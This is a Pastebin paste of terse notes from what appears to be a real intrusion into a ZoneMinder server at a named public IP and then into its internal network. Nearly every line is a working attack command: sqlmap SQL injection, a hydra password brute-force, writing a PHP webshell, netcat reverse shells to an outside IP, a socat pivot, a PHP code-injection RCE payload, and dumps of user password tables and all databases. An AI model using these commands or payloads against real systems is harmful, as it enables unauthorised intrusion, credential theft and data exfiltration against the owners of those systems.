Advertisement
Guest User

Untitled

a guest
Jun 20th, 2017
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. nmap
  2. nmap --unprivileged -sV 87.113.6.72
  3. sqlmp fail
  4. ./sqlmap.py -u "http://87.113.6.72:8080/zm/index.php" --data "view=request&request=log&task=query&limit=100" -p limit
  5.  
  6. hydr
  7. hydra 87.113.6.72 -s 8080 -L users.txt -P passwords.txt http-post-form "/zm/index.php:action=login&view=postlogin&postLoginQuery=&username=^USER^&password=^PASS^:postLoginQuery"
  8.  
  9. sqlmp true
  10. ./sqlmap.py -u "http://87.113.6.72:8080/zm/index.php" --data="view=request&request=log&task=query&limit=100&filter[*]=1" --dbms=mysql --cookie="ZMSESSID=[SESSID];zmCSS=flat;zmSkin=classic" –dbs –current-user --technique=e
  11.  
  12. getpath
  13. -D zm -T Logs --dump --stop 20
  14.  
  15. write
  16. ./sqlmap.py -u "http://87.113.6.72:8080/zm/index.php" --data "view=request&request=log&task=query&limit=100" -p limit --dbms=mysql --cookie="ZMSESSID=[SESSID];zmCSS=flat;zmSkin=classic" --file-write shell.php --file-dest /usr/share/zoneminder/www/webshell.php
  17.  
  18. test cmd, reverse shell
  19. 87.113.6.72:8080/zm/cmd.php?command=uname -a
  20. 87.113.6.72:8080/zm/cmd.php?command=nc -e /bin/sh 109.51.56.213 1340
  21.  
  22. nmap red
  23. nmap -F 192.168.1.0/24
  24.  
  25. socat
  26. ->local socat tcp-listen:1338,reuseaddr,fork tcp-listen:8001,reuseaddr,retry=1
  27. ->target socat -t1 tcp:192.168.1.3:80,forever,intervall=1,fork tcp:109.51.56.213:1338
  28.  
  29. dvr usrs
  30. ./sqlmap.py -u "http://87.113.6.72:8080/zm/index.php" --data="view=request&request=log&task=query&limit=100&filter[*]=1" --dbms=mysql --cookie="ZMSESSID=[SESSID];zmCSS=flat;zmSkin=classic" -D zm -T Users -C Id,Username,Password --dump --technique=e
  31.  
  32. rce test
  33. 127.0.0.1:8001/index.php?module=Connectors&action=RunTest&source_id=ext_rest_insideview&ext_rest_insideview_[%27.phpinfo().%27]=1
  34.  
  35. ncat y reverse
  36. 127.0.0.1:8001/index.php?module=Connectors&action=RunTest&source_id=ext_rest_insideview&ext_rest_insideview_[%27.system('nc -e /bin/sh 109.51.56.213 1339').%27]=1
  37.  
  38. interactive shell
  39. python -c "import pty; pty.spawn('/bin/bash')"
  40. ctrl+z, stty -icanon -echo -isig && fg; stty sane
  41.  
  42. mysqldump -u X -p --all-databases
  43.  
  44. download...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement